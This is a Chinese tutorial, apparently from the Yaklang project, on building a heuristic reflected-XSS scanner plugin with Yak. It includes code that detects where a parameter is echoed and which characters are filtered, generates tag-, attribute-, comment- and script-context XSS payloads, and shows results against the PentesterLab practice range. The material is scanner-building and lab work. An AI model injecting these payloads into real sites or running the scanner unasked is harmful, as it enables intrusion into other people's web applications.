关注
背景
上一篇介绍了XSS 启发式检测基础设施,本篇通过yak提供的基础设施编写一个xss检测插件。
本次xss靶场使用pentesterlab的xss靶场。
环境部署
git clone https://github.com/yaklang/vulinone
cd php-web-for-pentester
docker-compose up -d
编写思路
参考上一期XSS 启发式检测基础设施中的思维导图:
为了实现启发式漏洞检测,需要对目标环境进行检测:
- 检测目标过滤了哪些字符、语句,过滤掉受过滤影响的payload,减少无效发包。
- 检测哪个参数在html有回显、回显位置。
- 猜测目标生成html方式,模板生成?还是后端拼接的html?
所以我们的思路可以大致形成这样的思维导图:
判断回显位置
这里先生成随机数,然后进行fuzz,最后使用xhtml.Find
方法找到字符串的回显位置
randStr = str.RandStr(5)
respChannel, err = param.Fuzz(randStr).Exec()
die(err)
rssp = <-respChannel
rawBody, err = str.ExtractBodyFromHTTPResponseRaw(rssp.ResponseRaw)
die(err)
matchNodes = xhtml.Find(rawBody, randStr)
根据回显位置分类并生成对应payload
这里我们简单地将回显位置分为四类,对于不同类型我们构造不同的payload
1.(tag)标签内文本: 构造标签闭合
2.(attr)属性: 构造标签闭合或伪协议,如果是特殊属性可以直接使用javascript代码
3.(comment)注释:构造标签闭合
4.(js)script 标签内:构造标签闭合或dom型
示例代码如下
我们可以看到node中有许多方便的方法可以很简单地获取这个节点的详细信息,如节点类型(Text,Comment,Attr等),节点标签名
根据获取到的信息我们可以来将回显分类并生成对应的payload,这里还有一些特殊的处理,比如判断回显是否在引号内,判断是否是特殊属性等
payloads = []
for _, matchNode = range matchNodes {
if matchNode.IsText() {
/*
4. script标签内
例:<script>a = '<参数>';</script>
*/
if matchNode.TagName == "script" {
// 引号判断
matchText = matchNode.MatchText
randStrIndex = str.Index(matchNode.MatchText, randStr)
quote = ""
for {
randStrIndex -= 1
if randStrIndex < 0{
break
}
chr = string(matchText[randStrIndex])
if chr == "=" {
break
} elif chr == "\"" {
quote = "\""
}elif chr == "'" {
quote = "'"
}
}
payloads = append(payloads, newPayload(sprintf("1%s;prompt('%s');%s", quote, verifyRandStr, quote), ";"+quote, "js"))
payloads = append(payloads, newPayload(sprintf("1%s;</%s><img id='%s' src=1 onerror='prompt(1)'><%s>%s", quote, matchNode.TagName, verifyRandStr, matchNode.TagName, quote), "<>"+quote, "tag"))
} else {
/*
1.标签内文本: 构造标签闭合
例:<div><参数></div>
*/
payloads = append(payloads, newPayload(sprintf("</%s><img id='%s' src=1 onerror='prompt(1)'><%s>", matchNode.TagName, verifyRandStr, matchNode.TagName), "<>", "tag"))
}
} elif matchNode.IsAttr() {
/*
2.属性: 构造标签闭合或伪协议,如果是特殊属性可以直接使用javascript代码
例:<div id="<参数>"></div> <img src=1 onerror="<参数>"></div>
*/
attrName = str.ToUpper(matchNode.Key)
// 特殊属性处理
if specialAttr(attrName) {
payload = specialAttrPayload(attrName, verifyRandStr)
payloads = append(payloads, newPayload(payload, "", "spec-attr"))
} else {
payload = sprintf("\"></%s><img id='%s' src=1 onerror='prompt(1)'><%s %s=\"", matchNode.TagName, verifyRandStr, matchNode.TagName, matchNode.Key)
payloads = append(payloads, newPayload(payload, "<>/", "attr"))
payload = sprintf("'></%s><img id='%s' src=1 onerror='prompt(1)'><%s %s='", matchNode.TagName, verifyRandStr, matchNode.TagName, matchNode.Key)
payloads = append(payloads, newPayload(payload, "<>/", "attr"))
payload = sprintf("></%s><img id='%s' src=1 onerror='prompt(1)'><%s %s=", matchNode.TagName, verifyRandStr, matchNode.TagName, matchNode.Key)
payloads = append(payloads, newPayload(payload, "<>/", "attr"))
}
} elif matchNode.IsCOMMENT() {
/*
3.注释:构造标签闭合
例:<!-- <参数> -->
*/
payloads = append(payloads, newPayload(sprintf("-->%s<script>prompt(1);</script><!--", verifyRandStr), "<>-", "comment"))
}
}
过滤检测
过滤可能是后端框架、自定义方法过滤,可能是前端过滤,也可能是waf过滤
可能过滤的除了字符还可能是script、alert、prompt、div等语句
这里作为演示,我们只是简单地将一些危险字符,如< > ' " / \ -
进行了判断,将过滤的字符数组都写入到filterChars
这个数组中
// ! 四 检测危险字符并过滤payload
filterChars = []
allDangerousChars = ["<", ">", "'", "\"", "/", "-"]
i = 0
detectPayload = randStr + str.Join(allDangerousChars, randStr) + randStr
resp, err = param.Fuzz(detectPayload).Exec()
die(err)
rspo = <-resp
body, err = str.ExtractBodyFromHTTPResponseRaw(rspo.ResponseRaw)
die(err)
randStrFromIndex = string(body)
for {
n, btChr = xhtml.MatchBetween(randStrFromIndex, randStr, randStr, 50)
if n == -1 || i >= len(allDangerousChars){
break
}
if allDangerousChars[i] != btChr {
pass = false
filterChars = append(filterChars, string(allDangerousChars[i]))
}
randStrFromIndex = randStrFromIndex[n:]
i += 1
}
log.debug(sprintf("[%d]filterChars: %s", len(filterChars), filterChars))
使用过滤后的payload测试
在拿到filterChars的时候我们就可以通过判断payload中是否包含这些过滤的字符从而来筛选掉一部分payload
将筛选过后的payload进行测试,然后根据回显来判断是否存在xss,根据之前回显类型的不同,判断存在xss的方式也有所不同
这里使用到了并发技术,将结果写入管道中
payloadFuzzTask = func(swg, resultCh, url, param, verifyRandStr, payload) {
swg.Add()
go func {
defer swg.Done()
freq = param.Fuzz(payload.value)
httpReq, err = freq.GetFirstFuzzHTTPRequest()
checkErr(err)
rawReq, err = httpReq.GetOriginHTTPRequest()
checkErr(err)
reqBody, err = http.dump(rawReq)
checkErr(err)
reqBody = string(reqBody)
respChannel,err = freq.Exec()
checkErr(err)
rssp = <-respChannel
newBody, err = str.ExtractBodyFromHTTPResponseRaw(rssp.ResponseRaw)
checkErr(err)
existVuln = false
maybeVuln = false
extraMsg = ""
payloadType = payload.payloadType
if payloadType == "js" {
verifyMatchNodes = xhtml.Find(newBody, verifyRandStr) // js类型的payload判断漏洞存在条件为: js中包含"verifyRandStr"这个字符串字面量
for _, matchNode = range verifyMatchNodes {
if matchNode.TagName != "script" {
continue
}
result,err = js.ASTWalk(matchNode.MatchText)
if err != nil { // 如果ASTWalk报错,则可能存在xss
existVuln = true
maybeVuln = true
break
}
for _,s = range result.StringLiteral{
if s == verifyRandStr {
existVuln = true
break
}
}
if len(result.BadSyntax) > 0 { // 如果js语法出现错误,则可能存在xss
existVuln = true
maybeVuln = true
break
}
}
} else {
if payloadType == "comment" { // comment类型的payload判断漏洞存在条件: 逃出注释
verifyMatchNodes = xhtml.Find(newBody, verifyRandStr)
for _, matchNode = range verifyMatchNodes {
if matchNode.IsText() && matchNode.MatchText == verifyRandStr {
existVuln = true
break
}
}
} elif str.HasPrefix(payloadType, "spec") { // ! 对spec-attr类型的漏洞不做判断,可能存在误报
existVuln = true
maybeVuln = true
} else { // tag或attr类型的payload判断漏洞存在条件: 存在属性值为verifyRandStr的节点,证明标签逃逸或者属性逃逸
verifyMatchNodes = xhtml.Find(newBody, verifyRandStr)
for _, matchNode = range verifyMatchNodes {
if matchNode.IsAttr() && matchNode.Key == "id" && matchNode.Value == verifyRandStr {
existVuln = true
break
}
}
}
}
if existVuln {
result = newResult(maybeVuln, url, param, payload, reqBody, newBody)
resultCh <- result
}
}
}
输出结果
这里将结果使用log打印出来,并写入yakit数据库中
// 最后结果 日志输出
xssLog = func(result, saveDB) {
maybeVuln = result.maybeVuln
url = result.url
param = result.param
payload = result.payload
reqRaw = result.reqRaw
respRaw = result.respRaw
if maybeVuln {
msg = "Maybe xss"
} else {
msg = "Found xss"
}
payloadString := sprintf("%s=%s", param.Name(), payload.value)
report = {"message": msg, "payload": payloadString, "payload_type": payload.payloadType, "param_position": param.PositionVerbose()}
yakit_output(report)
if saveDB {
risk.NewRisk(
url,
risk.title(sprintf("XSS for: %v", url)),
risk.details(report),
risk.type("xss"),
risk.payload(payloadString),
risk.request(reqRaw),
risk.response(respRaw),
risk.severity("warning"),
)
}
}
// ! 六 输出结果
saveDB = true
for result = range resultCh {
xssLog(result, saveDB)
if saveDB {
saveDB = false
}
}
简要演示
启动劫持
在左边勾选我们需要启动的MITM插件,浏览器设置代理,访问存在漏洞的靶场页面
将模式修改为被动日志界面,这样才能看到mitm插件的扫描输出,浏览器刷新,重新访问存在漏洞的靶场页面,可以看到插件提示找到了一个xss
同时也将该漏洞的详细信息写入了yakit数据库中
这里我们复制payload,用浏览器手动测试payload是否有效,可以看到成功弹窗
00:42
靶场测试
pentesterlab的xss靶场一共有10关,具体的测试报告如下
靶场案例 | 是否检测出漏洞 | payload | 说明 |
example1 | ✔️ | </DIV><IMg id='qkpEqTvu' src=1 οnerrοr='prompt(1)'><diV> | 标签内文本 没有过滤直接输出 |
example2 | ✔️ | </DIV><IMg id='qkpEqTvu' src=1 οnerrοr='prompt(1)'><diV> | 标签内文本 过滤了script标签 |
exmaple3 | ✔️ | </DIV><IMg id='qkpEqTvu' src=1 οnerrοr='prompt(1)'><diV> | 标签内文本 过滤了script标签 |
example4 | ✔️ | </DIV><IMg id='qkpEqTvu' src=1 οnerrοr='prompt(1)'><diV> | 标签内文本 过滤了script关键字 |
example5 | ✔️ | </DIV><IMg id='qkpEqTvu' src=1 οnerrοr='prompt(1)'><diV> | 标签内文本 过滤了alert关键字 |
example6 | ✔️ | 1";</scRipT><iMG id='OOXNhBmZ' src=1 οnerrοr='prompt(1)'><SCRIPT>"1";prompt('OOXNhBmZ');" | script标签内 没有过滤直接输出 |
example7 | ✔️ | 1";prompt('OOXNhBmZ');" | script标签内使用htmlentities函数过滤 |
example8 | ❌ | 标签内属性注入点存在于URL路径插件没有覆盖到测试点 | |
example9 | ❌ | script标签内注入点存在于URL锚DOM型xss,插件暂不支持 |
不足
这个插件仅仅是作为一个简单的演示,抛砖引玉,实际上我们可以知道它还存在很多的不足:
- 只能检测反射型xss,无法检测dom型xss
- 对一些特殊位置上的xss无法覆盖(例如路径参数上/某个请求头上)
Yak官方资源
Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ